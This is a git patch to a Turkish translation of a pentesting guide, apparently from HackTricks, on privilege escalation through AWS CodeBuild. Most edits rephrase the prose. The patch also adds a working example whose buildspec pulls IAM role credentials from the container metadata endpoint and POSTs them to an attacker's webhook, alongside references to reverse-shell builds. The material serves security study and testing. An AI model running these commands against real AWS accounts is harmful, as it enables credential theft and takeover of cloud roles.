From f04513af7963acba47717e02d3be852bbafd0209 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 8 Jan 2025 20:44:48 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- .../aws-codebuild-privesc.md | 58 +++++++++++++++---- 1 file changed, 46 insertions(+), 12 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index d348be913..07ef3c29f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -61,13 +61,13 @@ aws codebuild start-build-batch --project --buildspec-override fi **Not**: Bu iki komut arasındaki fark şudur: - `StartBuild`, belirli bir `buildspec.yml` kullanarak tek bir build işini tetikler. -- `StartBuildBatch`, daha karmaşık yapılandırmalarla (birden fazla build'i paralel olarak çalıştırmak gibi) bir dizi build başlatmanıza olanak tanır. +- `StartBuildBatch`, daha karmaşık yapılandırmalarla (birden fazla build'in paralel olarak çalıştırılması gibi) bir dizi build başlatmanıza olanak tanır. -**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme. +**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan yetki yükseltme. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -**`iam:PassRole`, `codebuild:CreateProject` ve `codebuild:StartBuild` veya `codebuild:StartBuildBatch`** izinlerine sahip bir saldırgan, çalışan bir tane oluşturarak **herhangi bir codebuild IAM rolüne yetki yükseltebilir**. +**`iam:PassRole`, `codebuild:CreateProject` ve `codebuild:StartBuild` veya `codebuild:StartBuildBatch`** izinlerine sahip bir saldırgan, çalışan bir build oluşturarak **herhangi bir codebuild IAM rolüne yetki yükseltebilir**. {{#tabs }} {{#tab name="Example1" }} @@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat # Start a build with the new project aws codebuild start-build --project-name reverse-shell-project +``` +{{#endtab }} + +{{#tab name="Example3" }} +```bash +# Generated by ex16x41, tested +# Create a hook.json file with command to send output from curl credentials URI to your webhook address + +{ +"name": "user-project-1", +"source": { +"type": "NO_SOURCE", +"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", +"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0", +"computeType": "BUILD_GENERAL1_SMALL" +}, +"serviceRole": "ARN-OF-TARGET-ROLE" +} + +# Create a new CodeBuild project with the hook.json file +aws codebuild create-project --cli-input-json file:///tmp/hook.json + +# Start a build with the new project +aws codebuild start-build --project-name user-project-1 + +# Get Credentials output to webhook address +Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from + ``` {{#endtab }} {{#endtabs }} @@ -144,13 +178,13 @@ aws codebuild start-build --project-name reverse-shell-project > Bu dosya, **kimlik bilgilerine erişim için URL yolu** içeren **ortam değişkeni `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** içerir. Bu, `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` gibi bir şey olacaktır. -> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökebileceksiniz. +> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökme işlemini gerçekleştirebileceksiniz. -> Ayrıca, **konteyner hakkında metadata bilgisi almak için** tam URL'yi içeren **ortam değişkeni `ECS_CONTAINER_METADATA_URI`** de içerir. +> Ayrıca, **konteyner hakkında metadata bilgilerini almak için** tam URL'yi içeren **ortam değişkeni `ECS_CONTAINER_METADATA_URI`** de içerir. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Önceki bölümde olduğu gibi, bir yapı projesi oluşturmak yerine onu değiştirebiliyorsanız, IAM Rolünü belirtebilir ve token'ı çalabilirsiniz. +Önceki bölümde olduğu gibi, bir build projesi oluşturmak yerine onu değiştirebiliyorsanız, IAM Rolünü belirtebilir ve token'ı çalabilirsiniz. ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -264,13 +298,13 @@ aws codebuild start-build-batch --project-name codebuild-demo-project {{#endtab }} {{#endtabs }} -**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan privesc. +**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme. ### SSM **Bir ssm oturumu başlatmak için yeterli izinlere sahip olmak** durumunda, **inşa edilen bir Codebuild projesinin içine girmek** mümkündür. -Codebuild projesinin bir kesme noktası olması gerekecek: +Codebuild projesinin bir kesme noktasına sahip olması gerekecek:
phases:
 pre_build:
@@ -289,9 +323,9 @@ Daha fazla bilgi için [**belgelere göz atın**](https://docs.aws.amazon.com/co
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-Belirli bir CodeBuild projesinin bir yapısını başlatabilen/yeniden başlatabilen bir saldırgan, `buildspec.yml` dosyasını yazma erişimine sahip olduğu bir S3 kovasında depoluyorsa, CodeBuild sürecinde komut yürütme elde edebilir.
+Belirli bir CodeBuild projesinin `buildspec.yml` dosyasını yazma erişimine sahip olduğu bir S3 kovasında depolayan bir saldırgan, bu projeyi başlatıp/yeniden başlatabiliyorsa, CodeBuild sürecinde komut yürütme elde edebilir.
 
-Not: yükselme, yalnızca CodeBuild işçisinin saldırganınkinden farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
+Not: Yükseltme, yalnızca CodeBuild işçisinin saldırgandan farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
 ```bash
 aws s3 cp s3:///buildspec.yml ./
 
@@ -308,7 +342,7 @@ aws codebuild start-build --project-name 
 
 # Wait for the reverse shell :)
 ```
-Bunu yapmak için **buildspec** gibi bir şey kullanabilirsiniz:
+Bunu yapmak için **buildspec** gibi bir şey kullanabilirsiniz: **reverse shell**:
 ```yaml:buildspec.yml
 version: 0.2
 
@@ -324,6 +358,6 @@ commands:
 
 Daha fazla ayrıntı [burada](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) bulunabilir.
 
-**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan yetki yükseltme.
+**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme.
 
 {{#include ../../../banners/hacktricks-training.md}}